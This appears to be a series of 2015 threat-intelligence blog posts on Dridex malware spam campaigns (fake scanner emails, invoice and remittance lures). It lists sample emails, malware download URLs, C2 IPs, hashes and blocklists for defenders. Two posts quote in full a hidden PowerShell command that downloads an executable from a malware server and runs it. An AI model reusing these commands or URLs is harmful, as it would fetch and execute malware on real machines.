The MD5s for the malware components are:
DD7ADC5B140835DC22F6C95694F9C015
9AFECFAA484C66F2DD11F2D7E9DC4816
838F0A8D3FCBD0DDB2F8E8D236D17957

Recommended blocklist:
92.63.88.0/24
46.36.217.227


Thursday, 2 April 2015

Malware spam: "Scanned document from HP/Brother/Epson Scanner [87654321]"

These fake scanner emails follow a well-established pattern. Instead of containing a scanned document they have a malicious attachment.

Now.. if you are reading this then you are probably not the sort of person who would open an unsolicited message of this sort. Would you?

From:    Cindy Pate [Caroline.dfd@flexmail.eu]
Date:    2 April 2015 at 11:09
Subject:    Scanned document from HP Scanner [66684798]

Reply to: HP-Scanner@flexmail.eu
Model:KX-240NGZDC
Location: 1st Floor Office

File Format: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

----------

From:    Sterling Hoffman [Lara.dc4@astroexports.com]
Date:    2 April 2015 at 11:00
Subject:    Scanned document from Brother Scanner [07623989]

Reply to: Brother-Scanner@astroexports.com
Model:CG-240NWDUL
Location: 1st Floor Office

File Extension: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

----------

From:    Manuel Velez [Yesenia.10@acv.nl]
Date:    2 April 2015 at 12:04
Subject:    Scanned document from Epson Scanner [81829722]

Reply to: Epson-Scanner@acv.nl
Model:JS-240NRZYV
Location: 1st Floor Office

File Format: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

I have seen three different malicious attachments with low detection rates [1] [2] [3] which appear to contain one of two macros [1] [2] which download a further component from one of the following locations:

http://93.158.117.163:8080/bz1gs9/kansp.jpg
http://78.47.87.131:8080/bz1gs9/kansp.jpg


Those servers are almost definitely malicious in other ways, the IPs are allocated to:

93.158.117.163 (Aitos Svenska / Port80 , Sweden)
78.47.87.131 (Hetzner, Germany)

This is then saved as %TEMP%\sdfsdffff.exe which has a VirusTotal detection rate of just 1/56. Automated analysis [1] [2] [3] indicates that it calls home to:

188.120.225.17 (TheFirst-RU, Russia)
92.63.88.83 (MWTV, Latvia)
121.50.43.175 (Tsukaeru.net, Japan)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
82.151.131.129 (Doruknet, Turkey)
46.19.143.151 (Private Layer Inc, Switzerland)
45.55.154.235 (Digital Ocean, US)
195.130.118.92 (University Of Ioannina, Greece)
199.201.121.169 (Synaptica, Canada)
95.211.168.10 (Leaseweb, Netherlands)
222.234.230.239 (Hanaro Telecom, Korea)

Although the automated tools indicate that no files were dropped, the payload for this is almost definitely Dridex.

Recommended blocklist:
188.120.225.17
92.63.88.0/24
121.50.43.175
95.163.121.0/24
82.151.131.129
46.19.143.151
45.55.154.235
195.130.118.92
199.201.121.169
95.211.168.10
222.234.230.239
93.158.117.163
78.47.87.131

MD5s:
96f3aa2402daf9093ef0b47943361231
cff4b8b7f9adf1f5964b495a8116d196
68fb9aadda63d18f1b085d5bd8815223
64fa6501bd4d32b2958922598008ca96


Wednesday, 1 April 2015

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151

Wednesday, 25 March 2015

Malware spam: "Invoice ID:12ab34" / "123"

This terse spam has a malicious attachment:
From:    Gerry Carpenter
Date:    25 March 2015 at 12:58
Subject:    Invoice ID:34bf33

123
There is an Excel attachment with the same semi-random reference number as the subject (in the sample I saw it was 34bf33.xls) which currently has zero detections. Unlike most recent document-based attacks, this does not contain a macro, but instead has an embedded OLE object that will run a VBscript if clicked, the spreadsheet itself is designed to get the victim to click-and-run that object.


Automated analysis doesn't show very much, but it does show the screenshots [1] [2]. I haven't been able to extract the VBscript in a neat enough format, but what did interest me is this novel obfuscation [pastebin] which actually just executes this:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.221/zxr/ssidin.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;
Despite all the mucking about with expanding a CAB file, the downloaded file is actually an EXE file all along so nothing is done to it. This file has a detection rate of 7/56, and the Payload Security report shows it communicating with the following IPs:

92.63.88.83 (MWTV, Latvia)
82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)


The payload is most likely Dridex.

Recommended blocklist:
92.63.88.0/24
82.151.131.129
121.50.43.175


MD5s:
ce130212d67070459bb519d67c06a291
461689d449c7b5a905c8404d3a464088

Thursday, 12 March 2015

Malware spam: "Invoice [1234XYZ] for payment to COMPANY NAME"

These rather terse emails appear to refer to various companies, and all come with a malicious attachment:

From:    Erasmo Small
Date:    12 March 2015 at 09:40
Subject:    Invoice [3479XZM] for payment to INCOME & GROWTH VCT PLC(THE)

From:    Eli Ramirez
Date:    12 March 2015 at 08:37
Subject:    Invoice [4053FJK] for payment to RANDGOLD RESOURCES

From:    Richard Baxter
Date:    12 March 2015 at 08:37
Subject:    Invoice [3020JQM] for payment to TARSUS GROUP PLC

From:    Megan Dennis
Date:    12 March 2015 at 09:36
Subject:    Invoice [4706CEZ] for payment to SHANKS GROUP

The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:

https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe

Note the use of HTTPS. Those two IP addresses belong to:

92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)


Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:

95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)

Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.

Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24